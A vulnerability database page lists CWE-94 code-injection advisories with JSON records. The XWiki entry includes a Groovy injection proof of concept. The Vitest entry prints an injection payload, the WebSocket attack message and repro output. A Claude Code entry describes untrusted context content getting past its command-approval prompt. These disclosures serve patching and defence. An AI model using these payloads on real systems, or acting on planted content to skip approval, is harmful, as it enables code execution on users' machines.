CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9795 vulnerabilities reference this CWE, most recent first.
GHSA-QWRC-JW89-7579
Vulnerability from github – Published: 2022-05-14 02:42 – Updated: 2022-05-14 02:42Incomplete blacklist vulnerability in the safe_url_extraclean function in ajax.php in Pandora FMS before 3.1.1 allows remote attackers to execute arbitrary PHP code by using a page parameter containing a UNC share pathname, which bypasses the check for the : (colon) character.
{
"affected": [],
"aliases": [
"CVE-2010-4281"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-12-02T17:15:00Z",
"severity": "HIGH"
},
"details": "Incomplete blacklist vulnerability in the safe_url_extraclean function in ajax.php in Pandora FMS before 3.1.1 allows remote attackers to execute arbitrary PHP code by using a page parameter containing a UNC share pathname, which bypasses the check for the : (colon) character.",
"id": "GHSA-qwrc-jw89-7579",
"modified": "2022-05-14T02:42:24Z",
"published": "2022-05-14T02:42:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4281"
},
{
"type": "WEB",
"url": "http://osvdb.org/69546"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2010/Nov/326"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42347"
},
{
"type": "WEB",
"url": "http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/15643"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/514939/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/45112"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QWXX-XWW6-8Q8M
Vulnerability from github – Published: 2024-02-20 12:30 – Updated: 2024-08-27 14:10This issue affects Apache DolphinScheduler 3.0.0 before 3.2.1. We recommend users to upgrade Apache DolphinScheduler to version 3.2.1, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.dolphinscheduler:dolphinscheduler"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49109"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:17:58Z",
"nvd_published_at": "2024-02-20T10:15:07Z",
"severity": "CRITICAL"
},
"details": "This issue affects Apache DolphinScheduler 3.0.0 before 3.2.1. We recommend users to upgrade Apache DolphinScheduler to version 3.2.1, which fixes the issue. ",
"id": "GHSA-qwxx-xww6-8q8m",
"modified": "2024-08-27T14:10:30Z",
"published": "2024-02-20T12:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49109"
},
{
"type": "WEB",
"url": "https://github.com/apache/dolphinscheduler/pull/14991"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/dolphinscheduler"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/5b6yq2gov0fsy9x5dkvo8ws4rr45vkn8"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/6kgsl93vtqlbdk6otttl0d8wmlspk0m5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/02/20/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Remote Code Execution in Apache Dolphinscheduler"
}
GHSA-QX83-927W-W8JP
Vulnerability from github – Published: 2022-11-09 12:00 – Updated: 2022-11-09 19:02SAP GUI allows an authenticated attacker to execute scripts in the local network. On successful exploitation, the attacker can gain access to registries which can cause a limited impact on confidentiality and high impact on availability of the application.
{
"affected": [],
"aliases": [
"CVE-2022-41205"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-08T22:15:00Z",
"severity": "MODERATE"
},
"details": "SAP GUI allows an authenticated attacker to execute scripts in the local network. On successful exploitation, the attacker can gain access to registries which can cause a limited impact on confidentiality and high impact on availability of the application.",
"id": "GHSA-qx83-927w-w8jp",
"modified": "2022-11-09T19:02:24Z",
"published": "2022-11-09T12:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41205"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3237251"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX8X-2GR9-6479
Vulnerability from github – Published: 2022-05-02 06:20 – Updated: 2022-05-02 06:20Multiple PHP remote file inclusion vulnerabilities in WebMaid CMS 0.2-6 Beta and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) template, (2) menu, (3) events, and (4) SITEROOT parameters to template/babyweb/index.php; the (5) modules and (6) copyright parameters to template/calm/footer.php; the (7) menu parameter to template/calm/top.php; and the (8) modules, (9) copyright, and (10) menu parameters to template/wm025/footer.php.
{
"affected": [],
"aliases": [
"CVE-2010-1266"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-04-06T15:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in WebMaid CMS 0.2-6 Beta and earlier allow remote attackers to execute arbitrary PHP code via a URL in the (1) template, (2) menu, (3) events, and (4) SITEROOT parameters to template/babyweb/index.php; the (5) modules and (6) copyright parameters to template/calm/footer.php; the (7) menu parameter to template/calm/top.php; and the (8) modules, (9) copyright, and (10) menu parameters to template/wm025/footer.php.",
"id": "GHSA-qx8x-2gr9-6479",
"modified": "2022-05-02T06:20:49Z",
"published": "2022-05-02T06:20:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1266"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/57059"
},
{
"type": "WEB",
"url": "http://inj3ct0r.com/exploits/11394"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/1003-exploits/webmaid-rfilfi.txt"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/11831"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38993"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/0674"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QX93-7WX9-6WP7
Vulnerability from github – Published: 2025-04-14 21:32 – Updated: 2025-04-14 21:32In HylaFAX Enterprise Web Interface and AvantFAX, the language form element is not properly sanitized before being used and can be misused to include an arbitrary file in the PHP code allowing an attacker to do anything as the web server user. This flaw requires the attacker to be authenticated with a valid user account.
{
"affected": [],
"aliases": [
"CVE-2025-1782"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-14T19:15:36Z",
"severity": "CRITICAL"
},
"details": "In HylaFAX Enterprise Web Interface and AvantFAX, the language form element is not properly sanitized \nbefore being used and can be misused to include an arbitrary file in the\n PHP code allowing an attacker to do anything as the web server user. \nThis flaw requires the attacker to be authenticated with a valid user account.",
"id": "GHSA-qx93-7wx9-6wp7",
"modified": "2025-04-14T21:32:24Z",
"published": "2025-04-14T21:32:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1782"
},
{
"type": "WEB",
"url": "https://www.ifax.com/security/CVE-2025-1782.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QX9H-C5V6-GHQH
Vulnerability from github – Published: 2023-04-12 20:35 – Updated: 2023-04-26 20:33Impact
Any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel.
Precondition: As an admin, add the Panels.IncludedDocuments panel on one column.
A proof of concept exploit is to edit a document and add the following code before saving.
{{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}
expected The right had side panels contain:
One included page:
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}
actual The right had side panels contain:
One included page:
XWiki.Hello from Groovy in included document!
Patches
The problem has been patched on XWiki 14.4.7, and 14.10.
Workarounds
The issue can be fixed manually applying this patch.
References
- https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67
- https://jira.xwiki.org/browse/XWIKI-20306
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "1.1-M2"
},
{
"fixed": "13.10.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.0-rc-1"
},
{
"fixed": "14.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-panels-ui"
},
"ranges": [
{
"events": [
{
"introduced": "14.5"
},
{
"fixed": "14.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-29214"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2023-04-12T20:35:50Z",
"nvd_published_at": "2023-04-16T07:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nAny user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel.\n\n**Precondition**: As an admin, add the `Panels.IncludedDocuments` panel on one column.\n\nA proof of concept exploit is to edit a document and add the following code before saving.\n\n```\n{{display reference=\"{{cache~}~}{{groovy~}~}println(~\"Hello from Groovy~\" + ~\" in included document!~\"){{/groovy~}~}{{/cache~}~}\"/}}\n```\n\n**expected**\nThe right had side panels contain:\n```\nOne included page: \n{{cache}}{{groovy}}println(\"Hello from Groovy\" + \" in included document!\"){{/groovy}}{{/cache}}\n```\n\n**actual**\nThe right had side panels contain:\n```\nOne included page:\n XWiki.Hello from Groovy in included document!\n```\n\n### Patches\nThe problem has been patched on XWiki 14.4.7, and 14.10.\n\n### Workarounds\nThe issue can be fixed manually applying this [patch](https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67).\n\n### References\n- https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67\n- https://jira.xwiki.org/browse/XWIKI-20306\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
"id": "GHSA-qx9h-c5v6-ghqh",
"modified": "2023-04-26T20:33:30Z",
"published": "2023-04-12T20:35:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qx9h-c5v6-ghqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29214"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/50b4d91418b4150933f0317eb4a94ceaf5b69f67"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-20306"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "org.xwiki.platform:xwiki-platform-panels-ui Eval Injection vulnerability"
}
GHSA-QXFV-FCPC-W36X
Vulnerability from github – Published: 2025-09-10 17:10 – Updated: 2025-09-10 21:14Due to an error in command parsing, it was possible to bypass the Claude Code confirmation prompt to trigger execution of an untrusted command. Reliably exploiting this requires the ability to add untrusted content into a Claude Code context window.
Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version.
Thank you to the NVIDIA AI Red Team for reporting this issue!
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@anthropic-ai/claude-code"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.105"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58764"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-10T17:10:42Z",
"nvd_published_at": "2025-09-10T16:15:40Z",
"severity": "HIGH"
},
"details": "Due to an error in command parsing, it was possible to bypass the Claude Code confirmation prompt to trigger execution of an untrusted command. Reliably exploiting this requires the ability to add untrusted content into a Claude Code context window.\n\nUsers on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version.\n\nThank you to the NVIDIA AI Red Team for reporting this issue!",
"id": "GHSA-qxfv-fcpc-w36x",
"modified": "2025-09-10T21:14:12Z",
"published": "2025-09-10T17:10:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/anthropics/claude-code/security/advisories/GHSA-qxfv-fcpc-w36x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58764"
},
{
"type": "PACKAGE",
"url": "https://github.com/anthropics/claude-code"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Claude Code rg vulnerability does not protect against approval prompt bypass"
}
GHSA-QXG6-89MG-RQV8
Vulnerability from github – Published: 2026-10-21 19:54 – Updated: 2026-10-21 19:54Summary
@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.
Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.
Patches
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.
Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.
Details
packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:
export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`
moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.
packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:
configureServer(server) {
if (options.registerWebSocketEvents === false) { return }
server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
if (event.type === 'manual') {
const module = ManualMockedModule.fromJSON(event, async () => {
const keys = await getFactoryExports(event.url)
return Object.fromEntries(keys.map(key => [key, null]))
})
registry.add(module) // no validation of `id` or `url`
}
else {
if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }
event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.
With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.
Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.
PoC
poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.
Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.
git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh
Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):
import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()
The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:
{ "type": "custom", "event": "vitest:interceptor:register",
"data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
"url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }
then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.
Observed output:
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400
PASS negative control: with no mock registered the real module is served
PASS negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
let __0 = __factoryModule__["a"]
export { __0 as "a" }
if (__factoryModule__.__factoryPromise != null) {
__factoryModule__.__factoryPromise.then((resolvedModule) => {
__0 = resolvedModule["a"];
})
}
PASS attacker statement is present in the module the dev server serves
PASS the real module body was replaced
PASS the injected module parses as JavaScript (Vite import analysis accepted it)
RESULT: VULNERABLE
- Positive control — with no mock registered,
/src/app.jsis served with its real body, so the harness demonstrably works. - Negative control — the same registration with a harmless
urlreplaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. - Precondition controls — the two
Originprobes record the boundary honestly. - Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.
Reproduced three times from a clean mktemp fixture, exit 0 each time.
Impact
Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0-beta.7"
},
{
"fixed": "4.1.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vitest/mocker"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-beta.1"
},
{
"fixed": "5.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-112949"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-306",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-21T19:54:26Z",
"nvd_published_at": "2026-10-20T16:17:05Z",
"severity": "MODERATE"
},
"details": "### Summary\n\n`@vitest/mocker`\u0027s `interceptorPlugin` accepts mock registrations on Vite\u0027s dev-server WebSocket with no authentication, and interpolates the mock\u0027s `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer\u0027s browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = \u0027\"__vitest_mocker__\"\u0027): string {\n const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n if (options.registerWebSocketEvents === false) { return }\n server.ws.on(\u0027vitest:interceptor:register\u0027, (event: MockedModuleSerialized) =\u003e {\n if (event.type === \u0027manual\u0027) {\n const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n const keys = await getFactoryExports(event.url)\n return Object.fromEntries(keys.map(key =\u003e [key, null]))\n })\n registry.add(module) // no validation of `id` or `url`\n }\n else {\n if (event.type === \u0027redirect\u0027) { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = \u0027x\"); globalThis.ARES_INJECTED = 1; void(\"\u0027` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too \u2014 but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it \u2014 the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server\u0027s port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` \u2014 `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text \u2014 the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration \u2014 the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nexport default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server\u0027s `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400\nPASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400\nPASS negative control: with no mock registered the real module is served\nPASS negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n let __0 = __factoryModule__[\"a\"]\n export { __0 as \"a\" }\n if (__factoryModule__.__factoryPromise != null) {\n __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n __0 = resolvedModule[\"a\"];\n })\n }\nPASS attacker statement is present in the module the dev server serves\nPASS the real module body was replaced\nPASS the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** \u2014 with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** \u2014 the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** \u2014 the two `Origin` probes record the boundary honestly.\n* Vite\u0027s import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer\u0027s browser on the dev-server origin: reading source through the dev server, reading that origin\u0027s storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only \u2014 `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.",
"id": "GHSA-qxg6-89mg-rqv8",
"modified": "2026-10-21T19:54:26Z",
"published": "2026-10-21T19:54:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112949"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitest-dev/vitest"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
},
{
"type": "WEB",
"url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vitest: Code injection via unauthenticated manual mock registration"
}
GHSA-QXGQ-6J8M-J2XM
Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-15 15:32Vulnerabilities in ArubaOS running on 7xxx series controllers exist that allows an attacker to execute arbitrary code during the boot sequence. Successful exploitation could allow an attacker to achieve permanent modification of the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2022-37905"
],
"database_specific": {
"cwe_ids": [
"CWE-1236",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
